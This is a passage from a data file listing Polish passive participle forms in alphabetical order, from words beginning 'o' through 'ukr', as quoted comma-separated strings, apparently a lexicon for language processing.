zczane","oszczędzane","oszczędzone","oszklone","oszlifowane","oszołomione","oszpecone","oszukane","oszukiwane","oszwabione","otaczane","otarte","otoczone","otrute","otruwane","otrząsane","otrząśnięte","otrzepane","otrzeźwione","otrzymane","otrzymywane","otulone","otumanione","otwierane","otworzone","otwarte","owane","owdowione","owiane","owijane","owinięte","ozdabiane","ozdobione","ozdrowione","ożenione","oznaczane","oznaczone","oznajmiane","oznajmione","oznakowane","ożyte","ożywane","ożywiane","ożywione","pachnące","pacnąte","pakowane","paktowane","pałane","pałaszowane","palnięte","palone","pamiętane","panoszone","paprane","parafrazowane","paraliżowane","parkowane","parowane","partaczone","parte","parzone","pastowane","paszone","patrolowane","patroszone","patrzone","pauzowane","pchane","pchnięte","pdholowane","pedałowane","pękane","pęknięte","pełnione","penetrowane","perforowane","perfumowane","perswadowane","piastowane","pichcone","pielęgnowane","pielone","pienione","pieszczone","piętnowane","pięte","pijane","pikietowane","piknikowane","pikowane","pilnowane","pilotowane","piłowane","pisane","pisywane","pite","płacone","plądrowane","plamione","planowane","płaszczone","plątane","płatane","pławione","plewione","płonące","płoszone","plotkowane","plugawione","płukane","pluskane","plute","pobaraszkowane","pobierane","pobite","pobłażane","pobłogosławione","pobrane","pobrudzone","pobudzane","pobudzone","pobujane","pocałowane","pocerowane","pochłaniane","pochlapane","pochlebiane","pochłonięte","pochowane","pochwalane","pochwalone","pochwycone","pochylane","pochylone","pociachane","pociągane","pociągnięte","pocierane","pocieszane","pocieszone","pocięte","pocone","pocukrowane","poćwiartowane","poczesane","poczęstowane","poczęte","poczochrane","poczute","poczytane","poczytywane","podane","podarowane","podarte","podawane","podążone","podbierane","podbijane","podbite","podbudowane","podbudowywane","podburzane","podburzone","podchwycone","podciągane","podciągnięte","podcierane","podcięte","podcinane","podczepione","poddane","poddawane","podebrane","podejmowane","podejrzane","podejrzewane","podelektowane","podeptane","poderwane","podesłane","podglądane","podgolone","podgonione","podgryzane","podgrzane","podgrzewane","podjadane","podjedzone","podjęte","podkablowane","podkarmione","podkładane","podklejone","podkolorowane","podkołowane","podkopane","podkopywane","podkradane","podkradnięte","podkręcane","podkręcone","podkreślane","podkreślone","podkształcone","podkulone","podkupione","podkurzone","podkute","podłączane","podłączone","podładowane","podłamane","podlane","podłapane","podleczone","podlegane","podlewane","podliczane","podliczone","podlizane","podlizywane","podłożone","podmalowane","podmieniane","podmienione","podmuchane","podmyte","podnajęte","podniecane","podniecone","podniesione","podnoszone","podołane","podopingowane","podostrzone","podotykane","podpadnięte","podpalane","podpalone","podparte","podpatrywane","podpatrzone","podpieczętowane","podpiekane","podpierane","podpięte","podpiłowane","podpinane","podpisane","podpisywane","podpłacone","podpłynięte","podpompowane","podporządkowane","podporządkowywane","podpowiadane","podpowiedziane","podprowadzane","podpuszczane","podpuszczone","podpychane","podpytane","podrabiane","podrapane","podrasowane","podratowane","podrażnione","podręczone","podregulowane","podreperowane","podretuszowane","podrobione","podroczone","podróżowane","podrygiwane","podrywane","podrzucane","podrzucone","podrzynane","podsadzone","podskubywane","podsłuchane","podsłuchiwane","podsmażane","podsmażone","podśpiewywane","podstawiane","podstawione","podstemplowane","podstrojone","podsumowane","podsumowywane","podsunięte","podsuwane","podświetlane","podsycane","podsycone","podsyłane","podsypane","podszczypywane","podszkolone","podszlifowane","podszykowane","podszyte","podszywane","podtapiane","podtarte","podtopione","podtrzymane","podtrzymywane","podtuczone","poduczane","podupadane","poduszone","podwajane","podwalane","podważane","podwędzone","podwiązane","podwieszane","podwiezione","podwijane","podwinięte","podwojone","podwożone","podwyżane","podwyższane","podwyższone","podyktowane","podyskutowane","podziabane","podziałane","podziałkowane","podziękowane","podzielone","podziurawione","podziwiane","podźwignięte","poeksperymentowane","pofarbowane","pofatygowane","pofilmowane","poganiane","pogardzane","pogardzone","pogarszane","pogaszone","pogładzone","pogłaskane","pogłębiane","pogłębione","pogłośnione","pogmatwane","pognębione","pogniecione","pogodzone","pogonione","pogorszone","pogotowane","pograbione","pogrążane","pogrążone","pogrożone","pogrubiane","pogrubione","pogruchane","pogruchotane","pogrupowane","pogrywane","pogryzane","pogryzione","pogrzane","pogrzebane","pogubione","pogwałcane","pohamowane","pohandlowane","poharatowane","pohuśtane","poinformowane","poinstruowane","pojednane","pojęte","pojmięte","pojmowane","pojone","pokajane","pokaleczone","pokarane","pokarmione","pokąsane","pokatalogowane","pokazane","pokazywane","pokiereszowane","pokierowane","pokiwane","pokładane","poklepane","poklepywane","pokłonione","pokłute","pokochane","pokolorowane","pokoloryzowane","pokołysane","pokombinowane","pokomplikowane","pokonane","pokończone","pokonywane","pokopane","pokrajane","pokrążone","pokręcone","pokrojone","pokruszone","pokryte","pokrywane","pokrzepiane","pokrzepione","pokrzyżowane","pokuszone","pokutowane","połączone","polakierowane","połamane","polane","połapane","połaskotane","połatane","polecane","połechtane","polecone","poleczone","polegane","polemizowane","polepszane","polepszone","polerowane","polewane","policzkowane","policzone","polimeryzowane","polizane","połknięte","polowane","połowione","położone","polubione","poluźnione","poluzowane","połykane","pomacane","pomachane","pomagane","pomalowane","pomarynowane","pomasowane","pomazane","pomęczone","pomiatane","pomieszane","pomieszczone","pomijane","pominięte","pomiziane","pomknięte","pomnażane","pomniejszane","pomniejszone","pomnożone","pomoczone","pompowane","pomydlone","pomylone","pomyszkowane","pomywane","ponabijane","ponaciskane","ponadziewane","ponaglane","ponaglone","ponagrywane","ponaklejane","ponakłuwane","ponakrywane","ponaprawiane","ponawiane","poniańczone","poniechane","ponieiwerane","poniesione","poniszczone","poniżane","poniżone","ponoszone","ponowione","ponudzone","poobcinane","poobcowane","poobczajane","poobijane","poobmacywane","poobracane","poobserwowane","poodbijane","poodcinane","poodgryzane","poodkurzane","poodprawiane","poodsuwane","poodwalane","pooglądane","poograniczane","poopalane","poopiekane","poopwiadane","pootwierane","popadane","popakowane","popalone","poparte","poparzone","popchane","popchnięte","popędzane","popędzone","popękane","popełniane","popełnione","poperfumowane","popierane","popieszczone","popijane","popilnowane","popisane","popite","popłacone","popłakiwane","poplamione","poplątane","popluskane","popodcinane","popodziwiane","popoprawiane","poprane","poprasowane","poprawiane","poprawione","poproszone","poprowadzone","popryskane","poprzebierane","poprzeciągane","poprzecinane","poprzedzane","poprzeglądane","poprzeklinane","poprzekopywane","poprzemieszczane","poprzenoszone","poprzesadzane","poprześladowane","poprzestawiane","poprzesuwane","poprzewieszane","poprzewracane","poprzycinane","poprzymierzane","poprzytulane","poprzywiązywane","popsute","popudrowane","popukane","popularyzowane","popuszczane","popuszczone","popychane","popykane","popytane","porabiane","porachowane","poranione","poratowane","porażone","poręczone","porównane","porozbierane","porozbijane","porozciągane","porozcinane","porozdawane","porozdzielane","porozmieszczane","poróżnione","porozpędzane","porozpieszczane","porozprowadzane","porozpruwane","porozrzucane","porozstawiane","porozsyłane","porozumiewane","porozwalane","porozwiązywane","porozwieszane","porozwożone","portretowane","poruszane","poruszone","porwane","porysowane","porywane","porządkowane","porządzone","porzucane","porzucone","posądzane","posadzone","posądzone","pościągane","pościelone","pościerane","pościgane","pościnane","pościskane","posegregowane","posiadane","posiane","posiekane","posilane","posiłkowane","posilone","posiłowane","posiniaczone","posiorbane","poskąpione","poskładane","posklejane","poskramiane","poskręcane","poskrobane","poskromione","poskubane","posłane","posłodzone","poślubiane","poślubione","posługiwane","posmakowane","posmarowane","posolone","posortowane","pospekulowane","pospieszane","pośpieszane","pośpiewane","pospinane","pospłacane","posprawdzane","posprzątane","posprzedawane","pośredniczone","possane","postanowione","postane","postarane","postawione","postemplowane","posterowane","postradane","postraszone","postrugane","postrzegane","postrzelane","postrzelone","postukane","postymulowane","posunięte","posuwane","poświącane","poświadczone","poświecone","poświęcone","poświętowane","poświntuszone","posyłane","posypane","posypywane","poszarpane","poszastane","poszatkowane","poszczute","poszczycone","poszczypane","poszerzane","poszerzone","poszorowane","poszpiegowane","poszturchane","poszukane","poszukiwane","poszwędane","poszybowane","potakiwane","potarmoszone","potarte","potasowane","potęgowane","potępiane","potępione","potknięte","potoczone","potopione","potorturowane","potrącane","potrącone","potraktowane","potrojone","potrute","potrząsane","potrzaskane","potrząsnięte","potrząśnięte","potrzymane","Poturbowane","poturlane","potwierdzone","potykane","poucinane","pouczane","pouczone","poudawane","poukładane","pouprawiane","poupychane","pourywane","poustawiane","poużywane","powąchane","powachlowane","powalane","powalone","poważane","powbijane","powciągane","powciskane","powdychane","powęszone","powetowane","powiadamiane","powiadomione","powiązane","powiedziane","powiedzone","powiększane","powielane","powielone","powierzane","powierzone","powieszone","powiewane","powinszowane","powitane","powite","powkładane","powlekane","powłóczone","powodowane","powołane","powoływane","powożone","powpychane","powrócone","powrzucane","powsadzane","powściągnięte","powspominane","powstrzymane","powtarzane","powtórzone","powybierane","powybijane","powycierane","powycinane","powyciskane","powydawane","powyganiane","powyginane","powyjaśniane","powyjmowane","powyłączane","powymiatane","powymieniane","powynoszone","powypełniane","powypisywane","powyrywane","powyrzucane","powystrzelane","powysyłane","powywalane","powywieszane","powywracane","powzięte","pozabawiane","pozabijane","pozacierane","pożądane","pożądlone","pozadzierane","pozakładane","pozaklinane","pozałatwiane","pozamiatane","pozamieniane","pozamrażane","pozamykane","pozapalane","pozapinane","pozapisywane","pozapraszane","pożarte","pozasłaniane","pozastrzelane","pozatykane","pozbawiane","pozbawione","pozbierane","pozbyte","pozbywane","pozdejmowane","pozdrawiane","pozdrowione","pożegnane","pożerane","pozmiatane","pozmieniane","pozmywane","poznaczone","poznane","poznawane","poznęcane","pozorowane","pozostawiane","pozostawione","pozowane","pozrywane","pozszywane","pożute","pozwalniane","pozwane","pozwiązywane","pozwiedzane","pozwolone","pożyczane","pożyczone","pozyskane","pożyte","pozywane","pożywiane","pożywione","praktykowane","prane","prasowane","prawione","prażone","precyzowane","preferowane","prenumerowane","prezentowane","próbowane","procesowane","produkowane","profanowane","profilowane","prognozowane","programowane","projektowane","proklamowane","prolongowane","promieniowane","promowane","propagowane","proponowane","prosperowane","prostowane","proszkowane","proszone","protestowane","protokołowane","prowadzone","prowokowane","prute","pryskane","pryśnięte","przeanalizowane","przearanżowane","przebaczane","przebaczone","przebadane","przebiegnięte","przebierane","przebijane","przebite","przebolone","przebrane","przebudowane","przebudowywane","przebudzane","przebudzone","przebukowane","przebyte","przebywane","przeceniane","przecenione","przechlapane","przechodzone","przechowane","przechowywane","przechrzcone","przechwycone","przechwytywane","przechylane","przechylone","przechytrzane","przechytrzone","przeciągane","przeciągnięte","przeciążane","przeciążone","przeciekane","przecierane","przecierpiane","przecięte","przecinane","przeciskane","przeciśnięte","przeciwstawiane","przećwiczone","przeczekane","przeczesane","przeczesywane","przeczołgane","przeczute","przeczuwane","przeczyszczone","przeczytane","przedarte","przedawkowane","przedawkowywane","przedekorowane","przedłożone","przedłużane","przedłużone","przedmuchane","przedobrzone","przedostane","przedostawane","przedsiewzięte","przedstawiane","przedstawione","przedymane","przedyskutowane","przedzierane","przedziurawione","przedziurkowane","przeegzaminowane","przefaksowane","przefarbowane","przefasonowane","przefasowane","przefaxowane","przefiltrowane","przeformowane","przeforsowane","przegadane","przeganane","przeganiane","przegapiane","przegapione","przegięte","przeginane","przeglądane","przeglądnięte","przegłodzone","przegłosowane","przegonione","przegotowane","przegotowywane","przegrabione","przegradzane","przegrane","przegrupowane","przegrupowywane","przegrywane","przegryzane","przegryzione","przegrzane","przegrzebane","przegrzewane","przehandlowane","przeholowane","przeinstalowane","przeistoczone","przejadane","przejaskrawiane","przejaśnione","przejawiane","przejawione","przejechane","przejęte","przejeżdżane","przejmowane","przejrzane","przekabacane","przekabacone","przekablowane","przekalibrowane","przekalkulowane","przekarmiane","przekąszone","przekazywane","przekierowane","przekierowywane","przekimane","przekładane","przeklejone","przeklęte","przeklinane","przeklnięte","przekłute","przekonane","przekonfigurowane","przekonstruowane","przekonwertowane","przekonywane","przekopane","przekopywane","przekoziołkowane","przekraczane","przekręcane","przekręcone","przekreślane","przekreślone","przekroczone","przekrojone","przekrzyczone","przekrzywione","przekształcane","przekształcone","przekupione","przekupywane","przekute","przekwalifikowane","przełączane","przełączone","przeładowane","przeładowywane","przełamane","przełamywane","przelane","przelatywane","przeleciane","przelewane","przeleżane","przelicytowane","przeliczane","przeliczone","przeliterowane","przełknięte","przełożone","przełykane","przełyknięte","przemalowane","przemalowywane","przemaszerowane","przemawiane","przemeblowane","przemęczone","przemielone","przemieniane","przemierzone","przemieszczane","przemieszczone","przemijane","przemilczane","przemilczone","przeminięte","przemknięte","przemodelowane","przemusztrowane","przemycane","przemycone","przemyślane","przemyślone","przemyte","przemywane","przenegocjowane","przeniesione","przenikane","przeniknięte","przenoszone","przeobrażane","przeobrażone","przeoczane","przeoczone","przeorane","przeorganizowane","przeorientowane","przepadane","przepakowane","przepalone","przeparkowane","przepchane","przepchnięte","przepędzane","przepędzone","przepełniane","przepełnione","przepijane","przepiłowane","przepisane","przepisywane","przepite","przepłacane","przepłacone","przepłakane","przeplanowane","przepłoszone","przepłukane","przepłukiwane","przepłynięte","przepływane","przepompowane","przepompowywane","przepowiadane","przepowiedziane","przepracowane","przepracowywane","przeprane","przeprawiane","przeprawione","przeprogramowane","przeprojektowane","przeprowadzane","przeprowadzone","przepuszczane","przepuszczone","przepychane","przepytane","przepytywane","przerąbane","przerabiane","przeradzane","przerastane","przerażone","przeredagowane","przerejestrowane","przerobione","przerodzone","przerośnięte","przerwane","przerysowane","przerywane","przerzedzane","przerzucane","przerzucone","przesączone","przesadzane","przesądzane","przesadzone","przesądzone","prześcigane","prześcignięte","przesiadane","przesiadywane","przesiane","przesiedlane","przesiedlone","przesiedziane","przesiewane","przesilone","przeskakiwane","przeskalowane","przeskanowane","przeskoczone","przeskrobane","prześladowane","przesłaniane","przesłane","prześledzone","prześlizgnięte","przesłodzone","przesłonięte","przesłuchane","przesłuchiwane","przesmarowane","przesolone","przesortowane","przespane","prześpiewane","przessane","przestawiane","przestawione","przestemplowane","przestraszone","przestrojone","przestrzegane","przestrzelone","przestudiowane","przesunięte","przesuwane","prześwietlane","prześwietlone","przesyłane","przesypane","przesypiane","przesypywane","przeszarżowane","przeszczepiane","przeszczepione","przeszkadzane","przeszkolone","przeszmuglowane","przeszukane","przeszukiwane","przeszyte","przeszywane","przetaczane","przetańczone","przetapetowane","przetarte","przetestowane","przetkane","przetoczone","przetopione","przetrącone","przetransformowane","przetransmitowane","przetransponowane","przetransportowane","przetrawione","przetrwane","przetrząsane","przetrząśnięte","przetrzepane","przetrzymane","przetrzymywane","przetwarzane","przetworzone","przewalane","przewalczone","przewaletowane","przewalone","przeważane","przeważone","przewertowane","przewiązane","przewiązywane","przewidywane","przewidziane","przewiercane","przewiercone","przewieszane","przewieszone","przewietrzone","przewiezione","przewijane","przewinięte","przewitane","przewodniczone","przewodzone","przewożone","przewracane","przewrócone","przewyższane","przeymierzane","przeżarte","przeżeglowane","przeżegnane","przeziębione","przezimowane","przeznaczane","przeznaczone","przeżute","przezwyciężane","przezwyciężone","przeżyte","przezywane","przeżywane","przodowane","przpochlebione","przwdziewane","przybastowane","przybierane","przybijane","przybite","przybliżane","przybliżone","przybrane","przycelowane","przycepione","przychylone","przyciągane","przyciągnięte","przyciemnione","przycięte","przycinane","przyciskane","przyciśnięte","przyciszone","przyćmiewane","przyćmione","przycumowane","przyczepiane","przyczesane","przyczołgane","przyczynione","przydepnięte","przydeptane","przyduszone","przydzielane","przydzielone","przygarnięte","przygaszone","przygazowane","przygładzane","przygnębiane","przygniatane","przygniecione","przygotowane","przygruchane","przygrywane","przygryzane","przygryzione","przygrzane","przygwożdżone","przyhamowane","przyholowane","przyjane","przyjęte","przyjmowane","przyjrzane","przykładane","przyklejone","przyklepane","przykopane","przykręcane","przykręcone","przykrócone","przykryte","przykrywane","przykurzone","przykute","przykuwane","przyłączane","przyłączone","przylane","przyłapane","przylegane","przylepiane","przylepione","przyłożone","przymierzone","przymilane","przymknięte","przymocowane","przymuszane","przynależone","przyniesione","przynoszone","przynudzane","przyostrzone","przyozdabiane","przyozdobione","przypadnięte","przypakowane","przypakowywane","przypalane","przypalone","przyparte","przypasowane","przypatrywane","przypatrzone","przypieczętowane","przypiekane","przypierane","przypięte","przypilnowane","przypiłowane","przypinane","przypisane","przypisywane","przypłacone","przyplątane","przypłynięte","przypodobane","przypominane","przypomniane","przyporządkowane","przyprawiane","przyprawione","przyprowadzone","przypucowane","przypudrowane","przypuszczane","przypuszczone","przyrównane","przyrządzane","przyrządzone","przysiadane","przysiągnięte","przyskrzydlone","przyskrzyniane","przyskrzynione","przysłaniane","przysłane","przysłodzone","przysłonione","przysłuchiwane","przysługiwane","przysłużone","przysmażane","przysmażone","przyspieszane","przyspieszone","przysporzone","przysposobione","przyśrubowywane","przyssane","przystąpione","przystawiane","przystawione","przystemplowane","przystopowane","przystosowane","przystrojone","przysunięte","przysuwane","przyswajane","przyświecane","przyświęcone","przyswojone","przysyłane","przysypane","przyszpilone","przyszykowane","przyszyte","przyszywane","przytaczane","przytargane","przytarte","przytaszczane","przytępiane","przytępione","przytkane","przytłaczane","przytłoczone","przytłumione","przytoczone","przytrafione","przytroczone","przytruwane","przytrzasnięte","przytrzymane","przytrzymywane","przytulane","przytulone","przytwierdzane","przytwierdzone","przytykane","przyuczone","przyuważone","przywabione","przywalane","przywalone","przywarowane","przywarte","przywdziane","przywiązane","przywiązywane","przywidziane","przywiezione","przywitane","przywłaszczane","przywłaszczone","przywołane","przywoływane","przywożone","przywracane","przywrócone","przyznaczone","przyznane","przyznawane","przyzwalane","przyzwane","przyzwyczajane","przyzwyczajone","przyzywane","psiamane","pstrykane","pstryknięte","psute","publikowane","puchnięte","pucowane","pudłowane","pudrowane","puknięte","punktowane","pustoszone","puszczane","puszczone","puszkowane","puszone","pykane","pytane","rabowane","rachowane","racjonalizowane","racjonowane","raczone","radowane","ranione","raportowane","ratowane","ratyfikowane","reaktywowane","realizowane","reanimowane","recytowane","ręczone","redagowane","redukowane","reformowane","refowane","regenerowane","regionalizowane","regulowane","reinkarnowane","rejestrowane","reklamowane","rekomendowane","rekompensowane","rekonstruowane","rekreowane","rekrutowane","rekwirowane","relacjonowane","relaksowane","remodulowane","remontowane","renegocjowane","reorganizowane","reperowane","replikowane","represejonowane","reprezentowane","reprodukowane","resetowane","resocjalizowane","respektowane","resuscytowane","retuszowane","rewanżowane","rewidowane","rezerwowane","rezonowane","rezygnowane","reżyserowane","robione","rodzone","rojone","rolowane","romansowane","ronione","rozbawiane","rozbawione","rozbierane","rozbijane","rozbite","rozbłyśnięte","rozbrajane","rozbrojone","rozbudowane","rozbudowywane","rozbudzane","rozbudzone","rozbujane","rozcapierzone","rozchmurzone","rozchodzone","rozchylane","rozchylone","rozciągane","rozciągnięte","rozcieńczane","rozcieńczone","rozcierane","rozcięte","rozcinane","rozczarowane","rozczarowywane","rozczesane","rozczłonkowane","rozczulane","rozczytane","rozdane","rozdawane","rozdeptane","rozdmuchane","rozdmuchiwane","rozdrabniane","rozdrapane","rozdrapywane","rozdrażniane","rozdrażnione","rozduszone","rozdwojone","rozdysponowane","rozdzielane","rozdzielone","rozdzierane","rozdziewiczone","rozebrane","rozedrane","rozegrane","rozegrywane","rozepchane","rozerwane","rozesłane","rozgarnięte","rozgaszczane","rozgięte","rozglaszane","rozgłoszone","rozgniatane","rozgniecione","rozgniewane","rozgonione","rozgraniczone","rozgrane","rozgromione","rozgrywane","rozgryzane","rozgryzione","rozgrzane","rozgrzebywane","rozgrzeszone","rozgrzewane","rozhuśtane","rozjaśniane","rozjaśnione","rozjechane","rozjedzone","rozjuszane","rozjuszone","rozkazane","rozkazywane","rozkładane","rozklejane","rozklejone","rozkołysane","rozkopane","rozkopywane","rozkoszowane","rozkręcane","rozkręcone","rozkrojone","rozkruszone","rozkute","rozkuwane","rozkwaszone","rozkwaterowane","rozkwitane","rozkwitnięte","rozłączone","rozładowane","rozładowywane","rozłamane","rozlane","rozlewane","rozliczane","rozliczone","rozlokowane","rozłożone","rozłupane","rozluźniane","rozmanażane","rozmasowane","rozmawiane","rozmazane","rozmazywane","rozmiękczone","rozmieniane","rozmienione","rozmieszczane","rozmieszczone","rozminięte","rozmnożone","rozmontowane","rozmówione","rozmrażane","rozmrożone","rozmyślane","rozmyte","różnicowane","rozniecane","rozniecione","rozniesione","różnione","roznoszone","rozochocone","rozpaczane","rozpakowane","rozpakowywane","rozpalane","rozpalone","rozpamiętywane","rozpaskudzane","rozpatrywane","rozpatrzone","rozpędzane","rozpędzone","rozpętane","rozpieszczane","rozpieszczone","rozpięte","rozpiłowane","rozpinane","rozpisane","rozpisywane","rozplanowane","rozpłaszczane","rozpłaszczone","rozplątane","rozplątywane","rozpłynięte","rozpoczęte","rozpoczynane","rozpogodzone","rozporządzane","rozporządzone","rozpościerane","rozpostrzone","rozpowiadane","rozpowiedziane","rozpowszechniane","rozpowszechnione","rozpoznane","rozpoznawane","rozpracowane","rozpraszane","rozprawiane","rozprawiczone","rozprawione","rozprostowane","rozproszone","rozprowadzane","rozprowadzone","rozprute","rozpruwane","rozprzestrzeniane","rozprzestrzenione","rozpuszczane","rozpuszczone","rozpychane","rozpylane","rozpylone","rozpytane","rozpytywane","rozrastane","rozreklamowane","rozrobione","rozrośnięte","rozróżniane","rozróżnione","rozruszane","rozrysowane","rozrywane","rozrzucane","rozsadzane","rozsadzone","rozsądzone","rozścielone","rozsiane","rozsiekane","rozsiewane","rozsiodłane","rozsławiane","rozsławione","rozsmarowane","rozsmarowywane","rozśmieszane","rozstane","rozstąpione","rozstawane","rozstawiane","rozstawione","rozstrojone","rozstrząsane","rozstrzeliwane","rozstrzelone","rozstrzygane","rozstrzygnięte","rozsunięte","rozsupłane","rozświetlane","rozświetlone","rozsyłane","rozsypane","rozsypywane","rozszarpane","rozszarpywane","rozszczepiane","rozszczepione","rozszerzane","rozszerzone","rozszyfrowane","roztaczane","roztapiane","roztarte","roztoczone","roztopione","roztrwonione","roztrząsane","roztrzaskane","rozumiane","rozumowane","rozwalane","rozwalone","rozwarte","rozważane","rozważone","rozweselane","rozweselone","rozwiane","rozwiązane","rozwiązywane","rozwidniane","rozwiedzione","rozwierane","rozwiercone","rozwieszane","rozwieszone","rozwiewane","rozwiezione","rozwikłane","rozwinięte","rozwlekane","rozwodzone","rozwścieczane","rozwścieczone","rozzłoszczone","rugane","ruinowane","rujnowane","runięte","ruszane","ruszone","rwane","ryczane","ryglowane","rymowane","rysowane","ryte","ryzykowane","rządzone","rzeźbione","rżnięte","rzucane","rzucone","rzygane","sabotażowane","sączone","sadzane","sadzone","sądzone","salutowane","salwowane","sankcjonowane","satysfakcjonowane","scalone","scementowane","scentrowane","scharakteryzowane","schładzane","schlane","schlapane","schlebione","schłodzone","schowane","schronione","schrupane","schrzanione","schwytane","schylane","ściągnięte","ścielone","ściemniane","ściemnione","ścierane","ścierpione","ścięte","ścigane","ścinane","ściskane","ściśnięte","ściszane","ściszone","sędziowane","segregowane","selekcjonowane","separowane","sępione","serwowane","sfabrykowane","sfajczone","sfałszowane","sfaulowane","sfilmowane","sfinalizowane","sfinansowane","sfingowane","sformalizowane","sformatowane","sformowane","sformułowane","sforsowane","sfotografowane","shimmerowane","siane","siekane","siorbane","skadrowane","skakane","skalane","skaleczone","skalibrowane","skalkulowane","skalpowane","skanalizowane","skandowane","skanowane","skapitulowane","skarcone","skarżone","skasowane","skatalogowane","skazane","skażone","skazywane","skierowane","składane","składowane","skłaniane","sklasyfikowane","sklecione","sklejane","sklejone","sklepane","skłócone","skłonione","sklonowane","sknocone","skojarzone","skolonizowane","skołowane","skombinowane","skomentowane","skompensowane","skompletowane","skomplikowane","skomponowane","skompresowane","skompromitowane","skomunikowane","skonane","skoncentrowane","skończone","skondensowane","skonfigurowane","skonfiskowane","skonfrontowane","skonkretyzowane","skonsolidowane","skonstruowane","skonsultowane","skonsumowane","skontaktowane","skontrolowane","skoordynowane","skopane","skopiowane","skorektowane","skorumpowane","skorygowane","skorzystane","skoszone","skracane","skradzione","skręcane","skręcone","skremowane","skreślane","skreślone","skrobane","skrobnięte","skrócone","skrojone","skropione","skruszone","skrystalizowane","skryte","skrytykowane","skrywane","skrzecowane","skrzepnięte","skrzyczane","skrzyte","skrzywdzone","skrzyżowane","skserowane","skubane","skubnięte","skulone","skumulowane","skupiane","skupione","skupowane","skurczone","skuszone","skute","skuwane","skwitowane","słane","sławione","śledzone","ślinione","ślizgane","słodzone","słuchane","słyszane","smagane","smarowane","smażone","śmiecone","smute","smyrane","snute","sondowane","sortowane","spafycikowane","spakowane","spalane","spałaszowane","spalone","spałowane","spamiętane","spaprane","sparafrazowane","sparaliżowane","sparowane","spartaczone","spartolone","sparzone","spasowane","spatałaszone","spauzowane","spawane","spawione","specjalizowane","spędzane","spędzone","spekulowane","spełniane","spełnione","spenetrowane","spętane","spierane","spięte","śpiewane","spiłowane","spinane","spisane","spiskowane","spisywane","spite","spłacane","spłacone","splądrowane","splajtowane","splamione","spłaszczone","splatane","splątane","spłatane","spławiane","spławione","spłodzone","spłonięte","spłoszone","spłukane","spłukiwane","spluwane","spływane","spoczęte","spoczywane","spodziewane","spojone","spolaryzowane","spoliczkowane","sponiewierane","sponsorowane","spopielane","spopielone","spopularyzowane","sportretowane","sporządzane","sporządzone","spostrzegane","spotęgowane","spotkane","spotykane","spoufalane","spowalniane","spowiadane","spowodowane","spowolnione","spoźnione","spóźnione","spożytkowane","spożyte","spożywane","sprane","sprasowane","spraszane","sprawdzone","sprawione","sprawowane","sprecyzowane","spreparowane","sprężane","sprężone","spróbowane","sprofanowane","sprofilowane","sprostowane","sproszkowane","sproszone","sprowadzane","sprowadzone","sprowokowane","spryskane","spryskiwane","sprywatyzowane","sprzątane","sprzątnięte","sprzeczane","sprzedane","sprzedawane","sprzeniewierzone","spudłowane","spustoszone","spuszczane","spuszczone","spychane","ssane","stabilizowane","stacjonowane","staczane","staranowane","starczane","stargowane","startowane","stawiane","stawione","stemplowane","stenografowane","stepowane","sterowane","sterroryzowane","sterylizowane","stłamszone","stłumione","stnięte","stoczone","stołowane","stonowane","stopione","stopniowane","storpedowane","stosowane","strącane","stracone","strącone","strajkowane","straszone","stratowane","strawione","streamowane","stresowane","streszczane","streszczone","strofowane","strojone","stroszone","strugane","strute","strymowane","strząsane","strzaskane","strząśnięte","strzelone","strzepane","strzępione","strzepnięte","strzepywane","studiowane","studzone","stukane","stuknięte","stulone","stwardnione","stwarzane","stwierdzane","stwierdzone","stworzone","stykane","stylizowane","stymulowane","sugerowane","sumowane","sunięte","swatane","swawolone","świadczone","świecone","święcone","świerzbione","świętowane","świntuszone","sycone","sygnalizowane","symulowane","synchronizowane","sypane","sypnięte","szachrowane","szacowane","szafowane","szamotane","szanowane","szargane","szarpane","szarpnięte","szarżowane","szasowane","szastane","szatkowane","szczędzone","szczepione","szczerzone","szczute","szczycone","szczypane","szczytowane","szefowane","szemrane","szepnięte","szeptane","szerzone","szkalowane","szkicowane","szklone","szkodzone","szkolone","szlachtowane","szlifowane","szmuglowane","szokowane","szorowane","szpachlowane","szpanowane","szperane","szprycowane","sztachnięte","szturchane","szturchnięte","szturmowane","szufladkowane","szuflowane","szukane","szulerowane","szwankowane","szydełkowane","szydzone","szyfrowane","szykanowane","szykowane","szyte","taktowane","tamowane","tankowane","tapetowane","taplane","taranowane","targane","targnięte","targowane","tarmoszone","tarte","tarzane","tasowane","taszczone","tatuowane","tchnięte","telefonowane","telegrfowane","teleportowane","temperowane","teoretyzowane","tępione","terroryzowane","testowane","tkane","tknięte","tłamszone","tłoczone","tłumaczone","tłumione","toczone","tolerowane","tonowane","topione","torowane","torturowane","towarzyszone","trąbione","trącane","tracone","trącone","trafiane","trafione","tragizowane","traktowane","transferowane","transformowane","transmitowane","transportowane","tratowane","trawione","trenowane","tresowane","triumfowane","tropione","troszczone","trute","trwonione","trymowane","tryskane","tryśnięte","tryumfowane","trywializowane","trzaskane","trzasnięte","trzepane","trzepnięte","trzepotane","trzęsione","trzymane","tuczone","tułane","tulone","turlane","tuszowane","twistowane","tworzone","tykane","tyranizowane","tyrane","tytułowane","uaktualniane","uaktualnione","uaktywniane","uaktywnione","uargumentowane","uatrakcyjnione","ubabrane","ubarwiane","ubarwione","ubawione","ubezpieczane","ubezpieczone","ubezwłasnowolnione","ubiczowane","ubiegane","ubierane","ubijane","ubite","ubłagane","ubliżane","ubliżone","ubolewane","ubóstwiane","ubrane","ubroczone","ubrudzone","ucałowane","ucharakteryzowane","uchowane","uchronione","uchwalane","uchwalone","uchwycone","uchylane","uchylone","uciągnięte","ucieleśniane","ucierane","ucierpiane","ucięte","ucinane","uciskane","uciśnięte","uciszane","uciszone","uciułane","ucywilizowane","uczczone","uczepione","uczesane","uczęszczane","uczone","ucztowane","uczute","uczynione","udane","udaremnione","udawane","udekorowane","udeptywane","uderzane","uderzone","udobruchane","udokumentowane","udomawiane","udomowione","udoskonalane","udoskonalone","udostępniane","udostępnione","udowadniane","udowodnione","Udramatyzowane","udręczone","udrożnione","udupione","uduszone","udzielane","udzielone","udźwignięte","ueiwarygodnione","ufane","ufarbowane","uformowane","ufortyfikowane","ufundowane","ugadane","uganiane","ugaszane","ugaszone","ugięte","uginane","ugłaskane","ugniatane","ugodzone","ugoszczone","ugotowane","ugrane","ugruntowane","ugryzione","ugrzęznięte","uhistoryzowane","uhonorowane","uiścite","ujadane","ujarzmiane","ujarzmione","ujawniane","ujawnione","ujęte","ujeżdżane","ujeżdżone","ujmowane","ujrzane","ukamieniowane","ukarane","ukartowane","ukąszone","ukatrupione","ukazane","ukazywane","ukierowane","ukierunkowane","układane","uklepane","ukłonione","ukłute","uknute","ukojone","ukołysane","ukończone","ukonkretnione","ukoronowane","ukradzione","ukr